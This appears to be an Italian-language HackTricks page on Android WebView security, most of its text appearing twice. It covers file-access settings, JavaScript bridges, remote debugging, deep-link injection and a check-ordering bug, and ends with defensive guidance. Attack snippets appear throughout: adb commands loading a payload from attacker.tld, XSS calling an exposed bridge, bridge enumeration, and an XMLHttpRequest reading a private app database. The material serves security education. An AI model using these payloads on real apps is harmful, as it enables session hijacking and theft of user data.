Webview Attacks

Reading time: 14 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Guida alle Configurazioni e Sicurezza di WebView

Panoramica delle Vulnerabilità di WebView

Un aspetto critico dello sviluppo Android riguarda la corretta gestione delle WebView. Questa guida evidenzia le configurazioni chiave e le pratiche di sicurezza per mitigare i rischi associati all'uso di WebView.

Esempio di WebView

Accesso ai File nelle WebView

Per impostazione predefinita, le WebView consentono l'accesso ai file. Questa funzionalità è controllata dal metodo setAllowFileAccess(), disponibile dalla versione 3 dell'API Android (Cupcake 1.5). Le applicazioni con il permesso android.permission.READ_EXTERNAL_STORAGE possono leggere file dallo storage esterno utilizzando uno schema URL di file (file://path/to/file).

Funzionalità Deprecate: Accesso Universale e Accesso ai File da URL

  • Accesso Universale da URL di File: Questa funzionalità deprecata consentiva richieste cross-origin da URL di file, rappresentando un rischio significativo per la sicurezza a causa di potenziali attacchi XSS. L'impostazione predefinita è disabilitata (false) per le app destinate a Android Jelly Bean e versioni successive.
  • Per controllare questa impostazione, utilizzare getAllowUniversalAccessFromFileURLs().
  • Per modificare questa impostazione, utilizzare setAllowUniversalAccessFromFileURLs(boolean).
  • Accesso ai File da URL di File: Questa funzionalità, anch'essa deprecata, controllava l'accesso ai contenuti da altri URL di schema file. Come l'accesso universale, la sua impostazione predefinita è disabilitata per una maggiore sicurezza.
  • Utilizzare getAllowFileAccessFromFileURLs() per controllare e setAllowFileAccessFromFileURLs(boolean) per impostare.

Caricamento Sicuro dei File

Per disabilitare l'accesso al file system pur accedendo a risorse e asset, si utilizza il metodo setAllowFileAccess(). Con Android R e versioni successive, l'impostazione predefinita è false.

  • Controllare con getAllowFileAccess().
  • Abilitare o disabilitare con setAllowFileAccess(boolean).

WebViewAssetLoader

La classe WebViewAssetLoader è l'approccio moderno per il caricamento di file locali. Utilizza URL http(s) per accedere ad asset e risorse locali, allineandosi con la politica Same-Origin, facilitando così la gestione del CORS.

loadUrl

Questa è una funzione comune utilizzata per caricare URL arbitrari in una webview:

java
webview.loadUrl("<url here>")

Certo, un potenziale attaccante non dovrebbe mai essere in grado di controllare l'URL che un'applicazione sta per caricare.

Gestione di JavaScript e Intent Scheme

  • JavaScript: Disabilitato per impostazione predefinita nei WebView, può essere abilitato tramite setJavaScriptEnabled(). Si consiglia cautela poiché abilitare JavaScript senza le giuste protezioni può introdurre vulnerabilità di sicurezza.
  • Intent Scheme: I WebView possono gestire lo schema intent, potenzialmente portando a exploit se non gestito con attenzione. Un esempio di vulnerabilità riguardava un parametro WebView esposto "support_url" che poteva essere sfruttato per eseguire attacchi di cross-site scripting (XSS).

Vulnerable WebView

Esempio di sfruttamento utilizzando adb:

bash
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"

Javascript Bridge

Una funzionalità fornita da Android consente a JavaScript in un WebView di invocare funzioni native dell'app Android. Questo viene realizzato utilizzando il metodo addJavascriptInterface, che integra JavaScript con le funzionalità native di Android, definito come un WebView JavaScript bridge. Si consiglia cautela poiché questo metodo consente a tutte le pagine all'interno del WebView di accedere all'oggetto JavaScript Interface registrato, comportando un rischio per la sicurezza se informazioni sensibili vengono esposte attraverso queste interfacce.

  • È necessaria un'estrema cautela per le app destinate a versioni di Android inferiori alla 4.2 a causa di una vulnerabilità che consente l'esecuzione di codice remoto tramite JavaScript malevolo, sfruttando la riflessione.

Implementing a JavaScript Bridge

  • Le interfacce JavaScript possono interagire con il codice nativo, come mostrato negli esempi in cui un metodo di classe è esposto a JavaScript:
javascript
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
  • Il JavaScript Bridge è abilitato aggiungendo un'interfaccia al WebView:
javascript
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
  • Potenziale sfruttamento tramite JavaScript, ad esempio, attraverso un attacco XSS, consente la chiamata di metodi Java esposti:
html
<script>
alert(javascriptBridge.getSecret())
</script>
  • Per mitigare i rischi, limitare l'uso del ponte JavaScript al codice fornito con l'APK e impedire il caricamento di JavaScript da fonti remote. Per i dispositivi più vecchi, impostare il livello API minimo a 17.

Esecuzione Remota di Codice Basata su Riflesso (RCE)

  • Un metodo documentato consente di ottenere RCE tramite riflessione eseguendo un payload specifico. Tuttavia, l'annotazione @JavascriptInterface impedisce l'accesso non autorizzato ai metodi, limitando la superficie di attacco.

Debug Remoto

  • Il debug remoto è possibile con Chrome Developer Tools, consentendo interazione ed esecuzione arbitraria di JavaScript all'interno del contenuto WebView.

Abilitare il Debug Remoto

  • Il debug remoto può essere abilitato per tutti i WebView all'interno di un'applicazione tramite:
java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
  • Per abilitare il debug in modo condizionale in base allo stato di debug dell'applicazione:
java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}

Esfiltrare file arbitrari

  • Dimostra l'esfiltrazione di file arbitrari utilizzando un XMLHttpRequest:
javascript
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)

Webview Attacks

Guida alle Configurazioni e Sicurezza di WebView

Panoramica delle Vulnerabilità di WebView

Un aspetto critico dello sviluppo Android riguarda la corretta gestione delle WebView. Questa guida evidenzia le configurazioni chiave e le pratiche di sicurezza per mitigare i rischi associati all'uso di WebView.

WebView Example

Accesso ai File in WebView

Per impostazione predefinita, le WebView consentono l'accesso ai file. Questa funzionalità è controllata dal metodo setAllowFileAccess(), disponibile dalla versione 3 dell'API Android (Cupcake 1.5). Le applicazioni con il permesso android.permission.READ_EXTERNAL_STORAGE possono leggere file dallo storage esterno utilizzando uno schema di URL file (file://path/to/file).

Funzionalità Deprecate: Accesso Universale e Accesso ai File da URL

  • Accesso Universale da URL File: Questa funzionalità deprecata consentiva richieste cross-origin da URL file, rappresentando un rischio significativo per la sicurezza a causa di potenziali attacchi XSS. L'impostazione predefinita è disabilitata (false) per le app destinate a Android Jelly Bean e versioni successive.
  • Per controllare questa impostazione, utilizzare getAllowUniversalAccessFromFileURLs().
  • Per modificare questa impostazione, utilizzare setAllowUniversalAccessFromFileURLs(boolean).
  • Accesso ai File da URL File: Questa funzionalità, anch'essa deprecata, controllava l'accesso ai contenuti da altri URL di schema file. Come l'accesso universale, la sua impostazione predefinita è disabilitata per una maggiore sicurezza.
  • Utilizzare getAllowFileAccessFromFileURLs() per controllare e setAllowFileAccessFromFileURLs(boolean) per impostare.

Caricamento Sicuro dei File

Per disabilitare l'accesso al file system pur accedendo a risorse e asset, si utilizza il metodo setAllowFileAccess(). Con Android R e versioni successive, l'impostazione predefinita è false.

  • Controllare con getAllowFileAccess().
  • Abilitare o disabilitare con setAllowFileAccess(boolean).

WebViewAssetLoader

La classe WebViewAssetLoader è l'approccio moderno per il caricamento di file locali. Utilizza URL http(s) per accedere ad asset e risorse locali, allineandosi con la policy Same-Origin, facilitando così la gestione del CORS.

loadUrl

Questa è una funzione comune utilizzata per caricare URL arbitrari in una webview:

java
webview.loadUrl("<url here>")

Certo, un potenziale attaccante non dovrebbe mai essere in grado di controllare l'URL che un'applicazione sta per caricare.

Deep-linking in WebView interni (schema personalizzato → sink WebView)

Molte app registrano schemi/percorsi personalizzati che instradano un URL fornito dall'utente in un WebView all'interno dell'app. Se il deep link è esportato (VIEW + BROWSABLE), un attaccante può costringere l'app a visualizzare contenuti remoti arbitrari all'interno del suo contesto WebView.

Pattern tipico del manifest (semplificato):

xml
<activity android:name=".MainActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="myscheme" android:host="com.example.app" />
</intent-filter>
</activity>

Flusso di codice comune (semplificato):

java
// Entry activity
@Override
protected void onNewIntent(Intent intent) {
Uri deeplink = intent.getData();
String url = deeplink.getQueryParameter("url"); // attacker-controlled
if (deeplink.getPathSegments().get(0).equals("web")) {
Intent i = new Intent(this, WebActivity.class);
i.putExtra("url", url);
startActivity(i);
}
}

// WebActivity sink
webView.loadUrl(getIntent().getStringExtra("url"));

Modello di attacco e PoC tramite adb:

bash
# Template – force load in internal WebView
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# If a specific Activity must be targeted
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

Impatto: la pagina remota viene eseguita nel contesto dell'app WebView (cookie/sessione del profilo WebView dell'app, accesso a qualsiasi @JavascriptInterface esposto, accesso potenziale a content:// e file:// a seconda delle impostazioni).

Suggerimenti per la caccia:

  • Grep sorgenti decompilati per getQueryParameter("url"), loadUrl(, sink WebView e gestori di deep-link (onCreate/onNewIntent).
  • Rivedere il manifesto per filtri VIEW+BROWSABLE e schemi/host personalizzati che mappano a attività che avviano successivamente un WebView.
  • Controllare se ci sono più percorsi di deep-link (ad esempio, un percorso "browser esterno" rispetto a un percorso "webview interno") e preferire quello che viene visualizzato all'interno dell'app.

Abilitare JavaScript prima della verifica (bug dell'ordine di controlli)

Un errore comune di indurimento è abilitare JavaScript o configurare impostazioni WebView rilassate prima che la lista di autorizzazione finale/verifica dell'URL di destinazione sia completata. Se la verifica è incoerente tra i helper o avviene troppo tardi, un deep link dell'attaccante può raggiungere uno stato in cui:

  1. Le impostazioni di WebView si applicano (ad esempio, setJavaScriptEnabled(true)), e
  2. L'URL non attendibile viene caricato con JavaScript abilitato.

Modello di bug (pseudocodice):

java
// 1) Parse/early checks
Uri u = parse(intent);
if (!looksValid(u)) return;

// 2) Configure WebView BEFORE final checks
webView.getSettings().setJavaScriptEnabled(true); // BAD: too early
configureMixedContent();

// 3) Do final verification (late)
if (!finalAllowlist(u)) return; // too late – JS already enabled

// 4) Load
webView.loadUrl(u.toString());

Perché è sfruttabile

  • Normalizzazione incoerente: i helper dividono/ripristinano l'URL in modo diverso rispetto al controllo finale, creando discrepanze che un URL malevolo può sfruttare.
  • Pipeline disordinata: abilitare JS nel passo 2 si applica globalmente all'istanza WebView, influenzando il caricamento finale anche se la verifica fallisse successivamente.

Come testare

  • Crea payload di deep-link che superano i controlli iniziali e raggiungono il sito di configurazione WebView.
  • Usa adb per attivare intent impliciti VIEW che consegnano un parametro url= controllato da te:
bash
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

Se lo sfruttamento ha successo, il tuo payload esegue JavaScript nel WebView dell'app. Da lì, cerca ponti esposti:

html
<script>
for (let k in window) {
try { if (typeof window[k] === 'object' || typeof window[k] === 'function') console.log('[JSI]', k); } catch(e){}
}
</script>

Guida difensiva

  • Canonicalizza una volta; valida rigorosamente contro una singola fonte di verità (schema/host/percorso/query).
  • Chiama setJavaScriptEnabled(true) solo dopo che tutti i controlli della lista di autorizzazione sono passati e appena prima di caricare contenuti fidati.
  • Evita di esporre @JavascriptInterface a origini non fidate; preferisci il gating per origine.
  • Considera istanze per WebView per contenuti fidati vs non fidati, con JS disabilitato per impostazione predefinita.

Gestione di JavaScript e Intent Scheme

  • JavaScript: Disabilitato per impostazione predefinita nelle WebView, può essere abilitato tramite setJavaScriptEnabled(). Si consiglia cautela poiché abilitare JavaScript senza le giuste protezioni può introdurre vulnerabilità di sicurezza.
  • Intent Scheme: Le WebView possono gestire lo schema intent, potenzialmente portando a exploit se non gestito con attenzione. Un esempio di vulnerabilità ha coinvolto un parametro WebView esposto "support_url" che potrebbe essere sfruttato per eseguire attacchi di cross-site scripting (XSS).

Vulnerable WebView

Esempio di sfruttamento utilizzando adb:

bash
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"

Javascript Bridge

Una funzionalità è fornita da Android che consente a JavaScript in un WebView di invocare funzioni native dell'app Android. Questo viene realizzato utilizzando il metodo addJavascriptInterface, che integra JavaScript con le funzionalità native di Android, definito come un WebView JavaScript bridge. Si consiglia cautela poiché questo metodo consente a tutte le pagine all'interno del WebView di accedere all'oggetto JavaScript Interface registrato, ponendo un rischio per la sicurezza se informazioni sensibili vengono esposte attraverso queste interfacce.

  • È necessaria un'estrema cautela per le app destinate a versioni di Android inferiori alla 4.2 a causa di una vulnerabilità che consente l'esecuzione di codice remoto tramite JavaScript malevolo, sfruttando la riflessione.

Implementing a JavaScript Bridge

  • Le interfacce JavaScript possono interagire con il codice nativo, come mostrato negli esempi in cui un metodo di classe è esposto a JavaScript:
javascript
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
  • Il JavaScript Bridge è abilitato aggiungendo un'interfaccia al WebView:
javascript
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
  • Potenziale sfruttamento tramite JavaScript, ad esempio, attraverso un attacco XSS, consente la chiamata di metodi Java esposti:
html
<script>
alert(javascriptBridge.getSecret())
</script>
  • Per mitigare i rischi, limitare l'uso del bridge JavaScript al codice fornito con l'APK e impedire il caricamento di JavaScript da fonti remote. Per i dispositivi più vecchi, impostare il livello API minimo a 17.

Esecuzione Remota di Codice Basata su Riflesso (RCE)

  • Un metodo documentato consente di ottenere RCE tramite riflessione eseguendo un payload specifico. Tuttavia, l'annotazione @JavascriptInterface impedisce l'accesso non autorizzato ai metodi, limitando la superficie di attacco.

Debug Remoto

  • Il debug remoto è possibile con Chrome Developer Tools, consentendo interazione ed esecuzione arbitraria di JavaScript all'interno del contenuto WebView.

Abilitare il Debug Remoto

  • Il debug remoto può essere abilitato per tutte le WebView all'interno di un'applicazione tramite:
java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
  • Per abilitare il debug in modo condizionale in base allo stato di debug dell'applicazione:
java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}

Esfiltrare file arbitrari

  • Dimostra l'esfiltrazione di file arbitrari utilizzando un XMLHttpRequest:
javascript
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)

Riferimenti

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks